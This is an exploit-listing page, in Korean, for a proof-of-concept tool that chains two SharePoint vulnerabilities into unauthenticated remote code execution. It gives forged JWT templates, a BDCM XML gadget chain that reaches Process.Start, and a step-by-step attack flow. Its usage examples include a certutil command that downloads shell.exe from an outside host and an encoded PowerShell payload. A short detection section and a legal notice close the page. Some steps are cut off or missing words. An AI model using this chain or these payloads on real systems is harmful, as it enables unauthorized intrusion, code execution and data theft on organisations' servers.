Sploitus

Exploit for CVE-2026-63520 CVE-2026-55040 CVE-2026-63520

kitploit Β· 2026-08-27

Exploit Code

MARKDOWN311 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HYPNGUYEN1209-CVE-2026-63520
# CVE-2026-63520 SharePoint μ•ˆμ „ν•˜μ§€ μ•Šμ€ νƒ€μž… RCE + CVE-2026-55040 체인

Microsoft SharePoint Serverμ—μ„œμ˜ 인증 μ—†λŠ” RCE. 자격 증λͺ… λΆˆν•„μš”.

Stephen Fewer(Rapid7)λŠ” Pwn2Own Berlin 2026μ—μ„œ CVE-2026-55040을 μ‹œμ—°ν–ˆμŠ΅λ‹ˆλ‹€. Rapid7은 후속 연ꡬ 쀑 CVE-2026-63520을 λ°œκ²¬ν–ˆκ³ , VulnCheckλŠ” λ…λ¦½μ μœΌλ‘œ λŒ€μ²΄ κ°€μ ― 체인을 λ°œκ²¬ν–ˆμŠ΅λ‹ˆλ‹€. 이 두 버그λ₯Ό ν•¨κ»˜ μ‚¬μš©ν•˜λ©΄ νŒ¨μΉ˜λ˜μ§€ μ•Šμ€ μΈν„°λ„·μƒμ˜ λͺ¨λ“  SharePointμ—μ„œ 인증 μ—†λŠ” 원격 μ½”λ“œ 싀행이 κ°€λŠ₯ν•©λ‹ˆλ‹€.

CISAλŠ” PoC 곡개 ν›„ λͺ‡ μ‹œκ°„ 내에 경보λ₯Ό λ°œλ Ήν–ˆμŠ΅λ‹ˆλ‹€. ν˜„μž¬ μ•Όμƒμ—μ„œ μ•…μš©λ˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

## κΈ°λŠ₯

두 개의 버그, ν•˜λ‚˜μ˜ 체인:

CVE| μœ ν˜•| CVSS| 영ν–₯  
---|---|---|---  
CVE-2026-55040| JWT 인증 우회| 9.1| SharePoint의 S2S 토큰 κ²€μ¦μ—λŠ” λ„€ κ°€μ§€ 독립적인 취약점이 μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό μ—°κ²°ν•˜λ©΄ λΉ„λ°€λ²ˆν˜Έλ₯Ό λͺ¨λ₯΄λŠ” μƒνƒœμ—μ„œ λͺ¨λ“  μ‚¬μš©μž(μ‚¬μ΄νŠΈ κ΄€λ¦¬μž 포함)에 λŒ€ν•œ μœ νš¨ν•œ JWTλ₯Ό μœ„μ‘°ν•  수 μžˆμŠ΅λ‹ˆλ‹€.  
CVE-2026-63520| μ•ˆμ „ν•˜μ§€ μ•Šμ€ .NET νƒ€μž… μΈμŠ€ν„΄μŠ€ν™” β†’ RCE| 8.1| BDC(Business Data Connectivity)λŠ” μ—…λ‘œλ“œλœ XMLμ—μ„œ ν—ˆμš© λͺ©λ‘ 없이 μž„μ˜μ˜ .NET νƒ€μž… 이름을 ν™•μΈν•©λ‹ˆλ‹€. `ObjectDataProvider`λ₯Ό 가리킀면 `Process.Start()`λ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.  
  
두 버그 λͺ¨λ‘ λ‹¨λ…μœΌλ‘œλŠ” ν₯λ―Έλ‘­μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. CVE-2026-63520은 인증이 ν•„μš”ν•©λ‹ˆλ‹€. CVE-2026-55040은 인증을 μ œκ³΅ν•©λ‹ˆλ‹€. ν•¨κ»˜ μ‚¬μš©ν•˜λ©΄: SharePoint μ„œλΉ„μŠ€ κ³„μ •μœΌλ‘œ 인증 μ—†λŠ” RCEκ°€ κ°€λŠ₯ν•©λ‹ˆλ‹€.

## 버그 1: JWT 우회 (CVE-2026-55040)

SharePointλŠ” μ„œλ²„ κ°„(S2S) 인증에 μ€‘μ²©λœ JWTλ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€. μ™ΈλΆ€ 토큰은 μ‚¬μš©μž IDλ₯Ό μ „λ‹¬ν•˜κ³ , λ‚΄λΆ€ "actor token"은 호좜 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€. `SPJsonWebSecurityTokenHandlerV2.ValidateToken()`의 λ„€ κ°€μ§€ μ·¨μ•½μ μœΌλ‘œ 전체가 λ¬΄λ„ˆμ§‘λ‹ˆλ‹€:

**취약점 1 - μ„œλͺ… 검증이 κΊΌμ Έ 있음.** 검증기가 `RequireSignedTokens = false`둜 μ„€μ •ν•©λ‹ˆλ‹€. μ™ΈλΆ€ 토큰은 `alg: none`을 ν—ˆμš©ν•©λ‹ˆλ‹€. μ„œλͺ…이 ν•„μš” μ—†μŠ΅λ‹ˆλ‹€.

**취약점 2 - 검증 μ—†λŠ” x5t 확인.** actor token의 μ„œλͺ… ν‚€λŠ” μΈμ¦μ„œ μ €μž₯μ†Œμ—μ„œ `x5t`(μΈμ¦μ„œ μ§€λ¬Έ) 헀더λ₯Ό μ‘°νšŒν•˜μ—¬ ν™•μΈλ©λ‹ˆλ‹€. SharePointλŠ” actor token의 μ„œλͺ…이 μ‹€μ œλ‘œ ν•΄λ‹Ή 킀와 μΌμΉ˜ν•˜λŠ”μ§€ ν™•μΈν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

**취약점 3 - λ°œκΈ‰μž 검증이 μ•Œ 수 μ—†λŠ” μΈμ¦μ„œλ₯Ό ν—ˆμš©ν•¨.** `ValidateIssuer()`λŠ” μ„œλͺ… μΈμ¦μ„œκ°€ `TrustedSecurityTokenServices` μ»¬λ ‰μ…˜μ— μ—†μœΌλ©΄ ν†΅κ³Όν•©λ‹ˆλ‹€. SharePoint 자체 STS μΈμ¦μ„œλŠ” 여기에 λ“±λ‘λ˜μ–΄ μžˆμ§€ μ•ŠμŠ΅λ‹ˆλ‹€. λ”°λΌμ„œ `x5t`λ₯Ό 톡해 이λ₯Ό μ°Έμ‘°ν•˜λ©΄ λ°œκΈ‰μž 검증이 무쑰건 ν†΅κ³Όν•©λ‹ˆλ‹€.

**취약점 4 - λΉ„μ•”ν˜Έν™” μ„œλͺ… 검사.** `GetTokenSignature()`λŠ” λΉ„μ–΄ μžˆμ§€ μ•Šμ€ λ¬Έμžμ—΄μ„ μš”κ΅¬ν•˜μ§€λ§Œ μ•”ν˜Έν™” 검증은 μ „ν˜€ μˆ˜ν–‰ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. μ–΄λ–€ 값이든 μž‘λ™ν•©λ‹ˆλ‹€. `AAAA`도 μž‘λ™ν•©λ‹ˆλ‹€.

STS μΈμ¦μ„œλŠ” κ³΅κ°œλ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. `/_layouts/15/metadata/json/1`(인증 μ—†λŠ” μ—”λ“œν¬μΈνŠΈ)μ—μ„œ 가져와 SHA-1 지문을 κ³„μ‚°ν•˜λ©΄ ν•„μš”ν•œ λͺ¨λ“  것을 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.

### μœ„μ‘°λœ ν† ν°μ˜ ν˜•νƒœ

**μ™ΈλΆ€ 토큰** (μ‚¬μš©μž ID 전달):

root@kitploit:~
    
    
    // 헀더
    {"alg": "none", "typ": "JWT"}
    
    // νŽ˜μ΄λ‘œλ“œ
    {
      "aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
      "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
      "nameid": "<λŒ€μƒ SID λ˜λŠ” UPN>",
      "nii": "urn:office:idp:activedirectory",
      "trustedfordelegation": "true",
      "actortoken": "<λ‚΄λΆ€ JWT>"
    }
    // μ„œλͺ…: λΉ„μ–΄ 있음 (alg:none)
    

**λ‚΄λΆ€ actor token** ("μ• ν”Œλ¦¬μΌ€μ΄μ…˜"을 λ‚˜νƒ€λƒ„):

root@kitploit:~
    
    
    // 헀더
    {"alg": "RS256", "typ": "JWT", "x5t": "<STS μΈμ¦μ„œ μ§€λ¬Έ>"}
    
    // νŽ˜μ΄λ‘œλ“œ
    {
      "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
      "nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
      "nbf": 1756000000,
      "exp": 1756003600
    }
    // μ„œλͺ…: "AAAA" (λΉ„μ–΄ μžˆμ§€ μ•Šμ€ 아무 κ°’μ΄λ‚˜ κ°€λŠ₯)
    

IDλ₯Ό μ„ νƒν•˜λŠ” μ„Έ κ°€μ§€ 방법:

## 버그 2: RCE (CVE-2026-63520)

SharePoint의 BDC(Business Data Connectivity) μ„œλΉ„μŠ€λŠ” κ΄€λ¦¬μžκ°€ BDC λͺ¨λΈ XML 파일(`.bdcm`)을 톡해 μ™ΈλΆ€ 데이터 μ†ŒμŠ€λ₯Ό μ •μ˜ν•  수 있게 ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ λͺ¨λΈμ€ BDCκ°€ λŸ°νƒ€μž„μ— μΈμŠ€ν„΄μŠ€ν™”ν•˜λŠ” .NET νƒ€μž…μ„ μ§€μ •ν•©λ‹ˆλ‹€.

λ¬Έμ œλŠ” `DbTypeReflector.ResolveDotNetType()`에 μžˆμŠ΅λ‹ˆλ‹€:

root@kitploit:~
    
    
    // Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
    if (abstractTypeName.Length < 15)
    {
        return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
    }
    return Type.GetType(abstractTypeName, throwOnError: true);  // GAC의 λͺ¨λ“  νƒ€μž…
    

15자 미만의 νƒ€μž… 이름은 μ•ˆμ „ν•œ ν™•μΈμžλ₯Ό κ±°μΉ©λ‹ˆλ‹€. 더 κΈ΄ 것은 `Type.GetType()`을 직접 ν˜ΈμΆœν•©λ‹ˆλ‹€ - GAC(Global Assembly Cache)의 λͺ¨λ“  μ–΄μ…ˆλΈ”λ¦¬ ν•œμ • νƒ€μž… 이름을 ν™•μΈν•©λ‹ˆλ‹€. ν—ˆμš© λͺ©λ‘λ„, 차단 λͺ©λ‘λ„ μ—†μŠ΅λ‹ˆλ‹€. κ³΅κ²©μžλŠ” BDCM XML을 톡해 `abstractTypeName`을 μ œμ–΄ν•©λ‹ˆλ‹€.

### κ°€μ ― 체인

PresentationFramework의 `System.Windows.Data.ObjectDataProvider`λ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€. `ObjectInstance` 속성을 μ„€μ •ν•˜λ©΄ ν•΄λ‹Ή μΈμŠ€ν„΄μŠ€μ—μ„œ `MethodName`을 ν˜ΈμΆœν•©λ‹ˆλ‹€. `MethodName = "Start"`둜 μ„€μ •ν•˜κ³  `ObjectInstance = System.Diagnostics.Process`둜 μ„€μ •ν•œ ν›„ μ‘°μž‘λœ `StartInfo`λ₯Ό μ§€μ •ν•˜λ©΄ BDC의 속성 μ„€μ •μž λ¦¬ν”Œλ ‰μ…˜μ΄ λ‚˜λ¨Έμ§€λ₯Ό μ²˜λ¦¬ν•©λ‹ˆλ‹€:

root@kitploit:~
    
    
    ObjectDataProvider 생성
      β†’ MethodName = "Start"
      β†’ ObjectInstance = Process
        β†’ StartInfo.FileName = "cmd.exe"
        β†’ StartInfo.Arguments = "/c <payload>"
        β†’ StartInfo.UseShellExecute = false
        β†’ StartInfo.CreateNoWindow = true
      β†’ 속성 μ„€μ •μžκ°€ QueryWorker() 트리거
        β†’ BeginQuery() β†’ InvokeMethodOnInstance()
          β†’ Type.InvokeMember("Start") β†’ Process.Start()
    

이λ₯Ό μ „λ‹¬ν•˜λŠ” BDCM XML:

root@kitploit:~
    
    
    <TypeDescriptor Name="ReturnRoot"
      TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, 
        Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
      <TypeDescriptors>
        <TypeDescriptor Name="MethodName" TypeName="System.String">
          <DefaultValues>
            <DefaultValue ...>Start</DefaultValue>
          </DefaultValues>
        </TypeDescriptor>
        <TypeDescriptor Name="ObjectInstance"
          TypeName="System.Diagnostics.Process, System, ...">
          <TypeDescriptor Name="StartInfo"
            TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
            <TypeDescriptor Name="FileName" TypeName="System.String">
              <DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
            </TypeDescriptor>
            <TypeDescriptor Name="Arguments" TypeName="System.String">
              <DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
            </TypeDescriptor>
          </TypeDescriptor>
        </TypeDescriptor>
      </TypeDescriptors>
    </TypeDescriptor>
    

VulnCheckλŠ” DotNetAssembly LobSystem을 ν†΅ν•œ `TypeConfuseDelegate` 역직렬화와 ν•¨κ»˜ `System.Web.UI.LosFormatter`λ₯Ό μ‚¬μš©ν•˜λŠ” λŒ€μ²΄ 체인을 λ¬Έμ„œν™”ν–ˆμŠ΅λ‹ˆλ‹€. μ—¬λŸ¬ 가젯이 μž‘λ™ν•©λ‹ˆλ‹€ - κΈ°λ³Έ ν”„λ¦¬λ―Έν‹°λΈŒλŠ” μ œν•œ μ—†λŠ” νƒ€μž… μΈμŠ€ν„΄μŠ€ν™”μž…λ‹ˆλ‹€.

## 전체 곡격 흐름

root@kitploit:~
    
    
        곡격자                         SharePoint μ„œλ²„
           β”‚                                    β”‚
           │── GET /_layouts/15/metadata/json/1 ──▢│
           │◀── STS μΈμ¦μ„œ (x5t + realm) ─────────│  (인증 μ—†μŒ)
           β”‚                                    β”‚
           │── DC에 SMB null μ„Έμ…˜ ─────────────────▢ 도메인 컨트둀러
           │◀── 도메인 SID ────────────────────────│
           β”‚                                    β”‚
           │── JWT μœ„μ‘° (alg:none + AAAA μ„œλͺ…) ──│
           │── POST /_api/contextinfo ──────────▢│
           │◀── FormDigestValue ────────────────│  CVE-2026-55040: κ΄€λ¦¬μžλ‘œ 인증됨
           β”‚                                    β”‚
           │── POST /_api/web/lists ────────────▢│  BDC μΉ΄νƒˆλ‘œκ·Έ 생성
           │── POST .../Files/add(evil.bdcm) ──▢│  κ°€μ ― 체인 μ—…λ‘œλ“œ
           │── POST /_vti_bin/client.svc/ ──────▢│  ProcessQuery 트리거
           β”‚        ProcessQuery                β”‚
           β”‚                                    β”‚  CVE-2026-63520: Process.Start()
           β”‚                                    β”‚  β†’ cmd.exe /c <payload>
           β”‚                                    β”‚  β†’ SP μ„œλΉ„μŠ€ κ³„μ •μœΌλ‘œ μ‹€ν–‰
    

μ—¬μ„― 단계:

  1. **STS μΈμ¦μ„œ κ°€μ Έμ˜€κΈ°.** `/_layouts/15/metadata/json/1`에 μ ‘κ·Όν•©λ‹ˆλ‹€. 인증이 ν•„μš” μ—†μŠ΅λ‹ˆλ‹€. `keys[0].keyValue.value`μ—μ„œ X.509 μΈμ¦μ„œλ₯Ό μΆ”μΆœν•˜κ³ , SHA-1 ν•΄μ‹œ ν›„ base64url둜 μΈμ½”λ”©ν•©λ‹ˆλ‹€. 이것이 `x5t`μž…λ‹ˆλ‹€. `issuer` ν•„λ“œμ—μ„œ `realm`을 μ–»μŠ΅λ‹ˆλ‹€.

  2. **μ‚¬μ΄νŠΈ κ΄€λ¦¬μž μ°ΎκΈ°.** 도메인 μ»¨νŠΈλ‘€λŸ¬μ— SMB null μ„Έμ…˜μ„ μ—΄κ³ , LSARPC `LsarQueryInformationPolicy`둜 도메인 SIDλ₯Ό 얻은 λ‹€μŒ, RID(500, 1000-10000)λ₯Ό λ°˜λ³΅ν•˜λ©° 각각에 λŒ€ν•΄ JWTλ₯Ό μœ„μ‘°ν•˜μ—¬ `/_api/web/currentuser`κ°€ `IsSiteAdmin: true`λ₯Ό λ°˜ν™˜ν•  λ•ŒκΉŒμ§€ μ‹œλ„ν•©λ‹ˆλ‹€. λ˜λŠ” μ•Œλ €μ§„ UPN을 μ œκ³΅ν•©λ‹ˆλ‹€.

  3. **JWT μœ„μ‘°.** μ™ΈλΆ€: `alg:none`, nameid = κ΄€λ¦¬μž SID, actortoken = λ‚΄λΆ€ JWT. λ‚΄λΆ€: `alg:RS256`, `x5t` = STS μ§€λ¬Έ, μ„œλͺ… = `AAAA`. Base64url 인코딩 ν›„ 점으둜 μ—°κ²°ν•©λ‹ˆλ‹€. μ™„λ£Œ.

  4. **폼 λ‹€μ΄μ œμŠ€νŠΈ μ–»κΈ°.** μœ„μ‘°λœ Bearer ν† ν°μœΌλ‘œ λ₯Ό ν˜ΈμΆœν•©λ‹ˆλ‹€. SharePointκ°€ μ“°κΈ° μž‘μ—…μ„ μœ„ν•œ λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€.




## 영ν–₯을 λ°›λŠ” 버전

2026λ…„ 8μ›” λˆ„μ  μ—…λ°μ΄νŠΈλŠ” BDCκ°€ μΈμŠ€ν„΄μŠ€ν™”ν•  수 μžˆλŠ” .NET νƒ€μž…μ„ μ œν•œν•˜λŠ” `ValidateSafeBcsType()`을 μΆ”κ°€ν•©λ‹ˆλ‹€. JWT μˆ˜μ •μ€ μ μ ˆν•œ μ„œλͺ… 검증을 μΆ”κ°€ν•˜κ³  μ‹ λ’°ν•  수 μžˆλŠ” 토큰 μ„œλΉ„μŠ€ μ»¬λ ‰μ…˜μ— STS μΈμ¦μ„œλ₯Ό λ“±λ‘ν•©λ‹ˆλ‹€.

SharePoint 2016의 λ©”μΈμŠ€νŠΈλ¦Ό 지원은 2026년에 μ’…λ£Œλ˜μ—ˆμŠ΅λ‹ˆλ‹€. ν™•μž₯ 지원이 μ—†λŠ” 쑰직은 μˆ˜μ • 사항을 λ°›μ§€ λͺ»ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

## μ‹€ν–‰ 방법

μ˜μ‘΄μ„± μ„€μΉ˜:

root@kitploit:~
    
    
    pip install requests
    pip install impacket  # --domain-ip μžλ™ SID λ°œκ²¬μ—λ§Œ ν•„μš”
    

### λͺ¨λ“  것 μžλ™ 발견 (SID에 DC μ•‘μ„ΈμŠ€ ν•„μš”)

root@kitploit:~
    
    
    python3 poc.py \
      --target 192.168.1.10 \
      --domain-ip 192.168.1.5 \
      --cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
    

μŠ€ν¬λ¦½νŠΈλŠ” λ‹€μŒμ„ μˆ˜ν–‰ν•©λ‹ˆλ‹€:

  * STS λ©”νƒ€λ°μ΄ν„°μ—μ„œ `x5t` 및 `realm` κ°€μ Έμ˜€κΈ°
  * SMB null μ„Έμ…˜μœΌλ‘œ 도메인 SID νšλ“
  * μ‚¬μ΄νŠΈ κ΄€λ¦¬μžλ₯Ό 찾을 λ•ŒκΉŒμ§€ RID 반볡
  * JWT μœ„μ‘°, λ‹€μ΄μ œμŠ€νŠΈ νšλ“, BDCM μ—…λ‘œλ“œ, RCE 트리거



### μ•Œλ €μ§„ UPN μ‚¬μš© (SMB λΆˆν•„μš”)

root@kitploit:~
    
    
    python3 poc.py \
      --target sharepoint.corp.local \
      --upn some-email@example.com \
      --cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
    

### μ•Œλ €μ§„ SID μ‚¬μš©

root@kitploit:~
    
    
    python3 poc.py \
      --target 10.0.0.50 \
      --sid S-1-5-21-4203888158-2793536450-3921675298-500 \
      --cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
    

### TLS μΈμ¦μ„œμ—μ„œ UPN μžλ™ 발견

root@kitploit:~
    
    
    python3 poc.py \
      --target 10.0.0.50 \
      --auto-upn \
      --username administrator \
      --cmd "calc.exe"
    

### 인증 우회 ν™•μΈλ§Œ (RCE μ—†μŒ)

root@kitploit:~
    
    
    python3 poc.py \
      --target 192.168.1.10 \
      --domain-ip 192.168.1.5 \
      --cmd "dummy" \
      --check-only
    

`Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]`이 ν‘œμ‹œλ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. μ΄λŠ” JWT μš°νšŒκ°€ μž‘λ™ν•˜κ³  κ΄€λ¦¬μž μˆ˜μ€€ μ•‘μ„ΈμŠ€ κΆŒν•œμ΄ μžˆμŒμ„ ν™•μΈν•©λ‹ˆλ‹€.

### λΉ„ν‘œμ€€ 포트

root@kitploit:~
    
    
    python3 poc.py \
      --target 10.0.0.50 \
      --port 8443 \
      --upn some-email@example.com \
      --cmd "whoami"
    

## 탐지

확인해야 ν•  사항:

  * SharePoint μ—”λ“œν¬μΈνŠΈμ— μ ‘κ·Όν•˜λŠ” **`alg: none` JWT**. 합법적인 S2S 토큰은 항상 RS256을 μ‚¬μš©ν•©λ‹ˆλ‹€.
  * λ™μΌν•œ μ†ŒμŠ€ IPμ—μ„œ 인증된 API 호좜이 λ’€λ”°λ₯΄λŠ” **`/_layouts/15/metadata/json/1` μš”μ²­**. 메타데이터 μ—”λ“œν¬μΈνŠΈλŠ” κ³΅κ°œλ˜μ–΄ μžˆμ§€λ§Œ, μ •μ°° ν›„ κ΄€λ¦¬μž μˆ˜μ€€ μ•‘μ„ΈμŠ€λŠ” μ˜μ‹¬μŠ€λŸ½μŠ΅λ‹ˆλ‹€.
  * `BusinessDataMetadataCatalog`에 λ‚˜νƒ€λ‚˜λŠ” **μƒˆ`.bdcm` 파일**. λŒ€λΆ€λΆ„μ˜ SharePoint λ°°ν¬λŠ” BDCλ₯Ό μ „ν˜€ μ‚¬μš©ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. BDCM μ—…λ‘œλ“œλŠ” 쑰사할 κ°€μΉ˜κ°€ μžˆμŠ΅λ‹ˆλ‹€.
  * μ—”ν„°ν‹° νƒ€μž… 이름에 `ObjectDataProvider` λ˜λŠ” `LosFormatter`κ°€ ν¬ν•¨λœ μ•Œ 수 μ—†λŠ” BDC μ—”ν„°ν‹°λ₯Ό μ°Έμ‘°ν•˜λŠ” **`ProcessQuery` μš”μ²­**.
  * `w3wp.exe`(SharePoint μ• ν”Œλ¦¬μΌ€μ΄μ…˜ ν’€)μ—μ„œμ˜ **ν”„λ‘œμ„ΈμŠ€ 생성**. μž‘μ—…μž ν”„λ‘œμ„ΈμŠ€μ˜ μžμ‹μœΌλ‘œ `cmd.exe`, `powershell.exe`, `certutil.exe`κ°€ λ‚˜νƒ€λ‚˜λŠ” 것은 μ „ν˜•μ μΈ μ§€ν‘œμž…λ‹ˆλ‹€.



## 참고 자료

  * VulnCheck - Exploiting SharePoint: CVE-2026-55040 and CVE-2026-63520 RCE Chain
  * Rapid7 - Technical Analysis of CVE-2026-63520
  * Rapid7 - Technical Analysis of CVE-2026-55040
  * Rapid7 - CVE-2026-55040 Disclosure
  * Rapid7 - CVE-2026-63520 Disclosure
  * sfewer-r7/CVE-2026-55040 (PoC)
  * Previdian - CVE-2026-55040
  * Microsoft Advisory - CVE-2026-55040
  * Microsoft Advisory - CVE-2026-63520



## 법적 κ³ μ§€

승인된 λ³΄μ•ˆ ν…ŒμŠ€νŠΈμ—λ§Œ μ‚¬μš©ν•˜μ‹­μ‹œμ˜€. μ†Œμœ ν•˜μ§€ μ•Šμ€ μ‹œμŠ€ν…œμ— λŒ€ν•΄ μ‹€ν–‰ν•˜κΈ° 전에 μ„œλ©΄ ν—ˆκ°€λ₯Ό λ°›μœΌμ‹­μ‹œμ˜€.